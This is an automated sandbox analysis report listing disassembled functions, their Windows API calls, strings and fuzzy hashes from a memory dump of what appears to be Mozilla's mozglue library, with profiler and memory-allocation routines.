Opcode ID: 056475ee1e46cf630c5762b3ea858c161773a69f09319e78b82c6fe18510892a
Instruction ID: 5e7cf097a0a002e2abfa3a39e0d3bb52978eb38f2e8194c9f80dcb3eea4e042f
Opcode Fuzzy Hash: 056475ee1e46cf630c5762b3ea858c161773a69f09319e78b82c6fe18510892a
Instruction Fuzzy Hash: F23115B1A05204DBDB00DFAED880AEEB7B5BF85309F54852DD811A7F41D731A845CBE9

Function 6C60E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C60E577
AcquireSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60E584
ReleaseSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C60E8A6

Strings

MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C60E722, 6C60E750, 6C60E7A2
MOZ_PROFILER_STARTUP, xrefs: 6C60E5A1, 6C60E5CC, 6C60E5FF, 6C60E62A
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C60E777
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C60E655
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C60E826, 6C60E850

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: ac1043b68a0aa5a2ac136bc998b89ff7dc3a181d317cd440bd9878db5d7b710b
Instruction ID: b1812786e8330afccb0de9986eeb61bc59c9e8eeecfc30c09d23dc6f47af7841
Opcode Fuzzy Hash: ac1043b68a0aa5a2ac136bc998b89ff7dc3a181d317cd440bd9878db5d7b710b
Instruction Fuzzy Hash: CC118E31604654DFCB00AF16C888A6EBBB4FFC932CF44C619E89557651DB70A805CF9E

Function 6C610C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C610CD5

Part of subcall function 6C5FF960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C5FF9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C610D40
free.MOZGLUE ref: 6C610DCB

Part of subcall function 6C5E5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5E5EDB
Part of subcall function 6C5E5E90: memset.VCRUNTIME140(ewbl,000000E5,?), ref: 6C5E5F27
Part of subcall function 6C5E5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5E5FB2

free.MOZGLUE ref: 6C610DDD
free.MOZGLUE ref: 6C610DF2

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: ac77be5b473a3899f8c55aa0eb7065d85dbe237a727c7665d457bcc214f54abd
Instruction ID: 019e8b1ac58f240c3db2e17b042c419f162f1689fb2b48aab57eea5fa92008ed
Opcode Fuzzy Hash: ac77be5b473a3899f8c55aa0eb7065d85dbe237a727c7665d457bcc214f54abd
Instruction Fuzzy Hash: 6041047191C7809BD720CF29C4807AAFBE5BFC9714F508A2EE8D887B50DB709855CB86

Function 6C61CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C60DA31,00100000,?,?,00000000,?), ref: 6C61CDA4

Part of subcall function 6C5DCA10: malloc.MOZGLUE(?), ref: 6C5DCA26

Part of subcall function 6C61D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C61CDBA,00100000,?,00000000,?,6C60DA31,00100000,?,?,00000000,?), ref: 6C61D158
Part of subcall function 6C61D130: InitializeConditionVariable.KERNEL32(00000098,?,6C61CDBA,00100000,?,00000000,?,6C60DA31,00100000,?,?,00000000,?), ref: 6C61D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C60DA31,00100000,?,?,00000000,?), ref: 6C61CDC4

Part of subcall function 6C617480: ReleaseSRWLockExclusive.KERNEL32(?,6C6215FC,?,?,?,?,6C6215FC,?), ref: 6C6174EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C60DA31,00100000,?,?,00000000,?), ref: 6C61CECC

Part of subcall function 6C5DCA10: mozalloc_abort.MOZGLUE(?), ref: 6C5DCAA2

Part of subcall function 6C60CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C61CEEA,?,?,?,?,00000000,?,6C60DA31,00100000,?,?,00000000), ref: 6C60CB57
Part of subcall function 6C60CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C60CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C61CEEA,?,?), ref: 6C60CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C60DA31,00100000,?,?,00000000,?), ref: 6C61D058

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 657331c1bb5d4c96020b099fffa0092fa3d99092ded94466410dac6faff41b6a
Instruction ID: d80fcc365c1ba98f772422399f93836158686ff28716976de8afae3955d63236
Opcode Fuzzy Hash: 657331c1bb5d4c96020b099fffa0092fa3d99092ded94466410dac6faff41b6a
Instruction Fuzzy Hash: 70D17F71A04B469FD708CF2CC480B99F7E1BF89308F01866DD9598BB52EB31A965CB85

Function 6C5E5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C5E5D40
EnterCriticalSection.KERNEL32(6C64F688), ref: 6C5E5D67
__aulldiv.LIBCMT ref: 6C5E5DB4
LeaveCriticalSection.KERNEL32(6C64F688), ref: 6C5E5DED

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 7f2f4d28962412b866b0ed3cac56c1c8e6c72e3df647e29db09f419915323cc6
Instruction ID: e798aa0b1d1cc4aaac8381d7626a75b45f92e064b6acd14cbab22a46268d1013
Opcode Fuzzy Hash: 7f2f4d28962412b866b0ed3cac56c1c8e6c72e3df647e29db09f419915323cc6
Instruction Fuzzy Hash: 6E518071E001298FCF08DFA9C994AAEBBB1FB89308F59C62DD815A7750C7306945CB95

Function 6C5CCDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5CCEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C5CCEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C5CCF4E

Strings

0, xrefs: 6C5CCF30

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 8eaa7c09c2f19b875529ebdf24eecc2189fd492caa15c4d075fdd62bc090fab4
Instruction ID: 22a27507fec910c1a6d49a513fbdd1f1d620b95f68c61cc3e39c63bc10340ae3
Opcode Fuzzy Hash: 8eaa7c09c2f19b875529ebdf24eecc2189fd492caa15c4d075fdd62bc090fab4
Instruction Fuzzy Hash: FC51F275A0022A8FCB01CF18C890A9ABBA5EF9A304F19869DD8595F351D731BD06CBE0

Function 6C606470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C6082BC,?,?), ref: 6C60649B

Part of subcall function 6C5DCA10: malloc.MOZGLUE(?), ref: 6C5DCA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6064A9

Part of subcall function 6C5FFA80: GetCurrentThreadId.KERNEL32 ref: 6C5FFA8D
Part of subcall function 6C5FFA80: AcquireSRWLockExclusive.KERNEL32(6C64F448), ref: 6C5FFA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C60653F
free.MOZGLUE(?), ref: 6C60655A

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 1af89d0012ca881ae2a36a6b58cb315bb2556661be241c6087987fc18ac5d8a4
Instruction ID: f28aa407fd5ad1930689a588ff87d5370f63486f8983b03e8f4b04452c2a1b42
Opcode Fuzzy Hash: 1af89d0012ca881ae2a36a6b58cb315bb2556661be241c6087987fc18ac5d8a4
Instruction Fuzzy Hash: C03181B5A043159FC704DF14D884A9FB7E4FF89314F40842DE85A97740E730E919CB96

Function 6C5DB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5DB4F5
AcquireSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C5DB502
ReleaseSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C5DB542
free.MOZGLUE(?), ref: 6C5DB578

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 663b264807e928bc78a15aa7bca438ac10b12b398153e2a8aa50efffe02512ff
Instruction ID: 0aa01543cd5efc1e115fda6f95956db6f609de16d4790774c1994b4cb2cc4016
Opcode Fuzzy Hash: 663b264807e928bc78a15aa7bca438ac10b12b398153e2a8aa50efffe02512ff
Instruction Fuzzy Hash: 3D11CD31A14B41C7D712EF2AD840765B3B2FFDA318F11D70AE84952A02FBB0B5C58B99

Function 6C603DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C5CF20E,?), ref: 6C603DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C5CF20E,00000000,?), ref: 6C603DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C603E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C603E0E

Part of subcall function 6C5FCC00: GetCurrentProcess.KERNEL32(?,?,6C5C31A7), ref: 6C5FCC0D
Part of subcall function 6C5FCC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C5C31A7), ref: 6C5FCC16

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: f2804b951b52d5bc855f19593ebced857496a527078e6690fb65cb622075ccb3
Instruction ID: 4740c3378b6dd68675c4aef7233efa983c337e17cb84dfd1064d8a43042d9b81
Opcode Fuzzy Hash: f2804b951b52d5bc855f19593ebced857496a527078e6690fb65cb622075ccb3
Instruction Fuzzy Hash: 3DF05E716002087FD704AB55DC81DAB376DEB86628F048020FD0957701D635BD198AFB

Function 6C6185B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C6185D3

Part of subcall function 6C5DCA10: malloc.MOZGLUE(?), ref: 6C5DCA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C618725

Strings

map/set<T> too long, xrefs: 6C618720

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: a0e3de2414cde47121e6d3f7504a865157888344cb2cb7a2c3544fc6b5b9375d
Instruction ID: a0baa3fcdc46bddea52448459bcd98eb0b218aa1f5f4df3d8a63a2fcc6d492dc
Opcode Fuzzy Hash: a0e3de2414cde47121e6d3f7504a865157888344cb2cb7a2c3544fc6b5b9375d
Instruction Fuzzy Hash: 96516774A08651CFD701CF18C084A59BBF1BF4A318F1AC28AD8595BB62C335EC45CF95

Function 6C5CBD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C5CBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C5CBE8F

Strings

0, xrefs: 6C5CBE5B

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: e49acf1c8e84bd55c3b8943ab8d07189f0a0e97bd37a8eb118090e7ceebea59e
Instruction ID: 6ca0be9ac8a86ac7e9436708ac653e1647efd08ebf6ed052f7376eb365350f6f
Opcode Fuzzy Hash: e49acf1c8e84bd55c3b8943ab8d07189f0a0e97bd37a8eb118090e7ceebea59e
Instruction Fuzzy Hash: 9B41C271A09745CFC701EFB8C881A9BB7F4AF8A748F008A1DF995A7611D730D9498B83

Function 6C603CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C603D19
mozalloc_abort.MOZGLUE(?), ref: 6C603D6C

Strings

d, xrefs: 6C603D58

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: f0aeacc84427a499ad1c9697bf62ccdbf59065f5821f7a1b6d64cafb1501e308
Instruction ID: ea224d0d47a03b3e3ecc10e0dc7ee2d9f7926f2adc587a984dd2c89338b3450c
Opcode Fuzzy Hash: f0aeacc84427a499ad1c9697bf62ccdbf59065f5821f7a1b6d64cafb1501e308
Instruction Fuzzy Hash: D4110431F04688DBDB08DF6AC9548EDB7B5EF86319F44D228DC49A7642FB30A584C358

Function 6C626DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C626E22
__Init_thread_footer.LIBCMT ref: 6C626E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C626E1D

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 79d64a5e9bfd5acee9acfad0be82f1304c87009e756342bde1323c912f446a4a
Instruction ID: 436df16fc93eed1978f03a02baf249ac13a0d6d53f1754ae5f7f036f8d3690fe
Opcode Fuzzy Hash: 79d64a5e9bfd5acee9acfad0be82f1304c87009e756342bde1323c912f446a4a
Instruction Fuzzy Hash: 91F05935208280CBDB00ABA9C890AD37372935331CF04C165C89146F61DB25E917CF9F

Function 6C5D9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C5D9EEF

Strings

NaN, xrefs: 6C5D9EC1
Infinity, xrefs: 6C5D9EB7

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 7638be8854211ff36af2fca61fdd7afabe71bf2c8a7e65ffca6139aa7fccbf88
Instruction ID: b87adabb5527f88371bec6faa38c32740d831b30bc90e94744d8955880322905
Opcode Fuzzy Hash: 7638be8854211ff36af2fca61fdd7afabe71bf2c8a7e65ffca6139aa7fccbf88
Instruction Fuzzy Hash: 06F0A971600342CADB00EF5AEE95B823BF1A34330DF20CA58C5040AF80DB356546CA8F

Function 6C5D6C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0K`l,?,6C604B30,80000000,?,6C604AB7,?,6C5C43CF,?,6C5C42D2), ref: 6C5D6C42

Part of subcall function 6C5DCA10: malloc.MOZGLUE(?), ref: 6C5DCA26

moz_xmalloc.MOZGLUE(0K`l,?,6C604B30,80000000,?,6C604AB7,?,6C5C43CF,?,6C5C42D2), ref: 6C5D6C58

Strings

0K`l, xrefs: 6C5D6C33, 6C5D6C41, 6C5D6C57

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0K`l
API String ID: 1967447596-2354643784
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: eadacf5e47c3d45c033a75d1978b4625e691ca2ddcea51c646d783483cb848f6
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: 60E026F1A113004ADB08D8BCAC0952A72C8CB342A87054E35E822C2BE8FF14F8418059

Function 6C5DBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C5DBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C5DBEF5

Strings

cryptbase.dll, xrefs: 6C5DBEF0

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 3f3255c0e0deb35eb43dc52f9ef95b7b9238d1f1e77b5e26c913fbdadb143825
Instruction ID: ce59b318a09f592b6cce7fa04dc43daebb86a0977407c41d6a41245a8eb4112f
Opcode Fuzzy Hash: 3f3255c0e0deb35eb43dc52f9ef95b7b9238d1f1e77b5e26c913fbdadb143825
Instruction Fuzzy Hash: 0AD0A731184708E6C700BA55CC06F293775D741359F10C020F30544951C7B1A412CF4C

Function 6C61B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C61B2C9,?,?,?,6C61B127,?,?,?,?,?,?,?,?,?,6C61AE52), ref: 6C61B628

Part of subcall function 6C6190E0: free.MOZGLUE(?,00000000,?,?,6C61DEDB), ref: 6C6190FF
Part of subcall function 6C6190E0: free.MOZGLUE(?,00000000,?,?,6C61DEDB), ref: 6C619108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C61B2C9,?,?,?,6C61B127,?,?,?,?,?,?,?,?,?,6C61AE52), ref: 6C61B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C61B2C9,?,?,?,6C61B127,?,?,?,?,?,?,?,?,?,6C61AE52), ref: 6C61B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C61B127,?,?,?,?,?,?,?,?), ref: 6C61B74D

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: d2ba243b04c091532758b14435429ab57442d975f8d413df6fbc1fe274fb2ae7
Instruction ID: 8b43c90181251cd90142f7e1b964ab0568fd3cc4649651b4d627e6c8b5eb0250
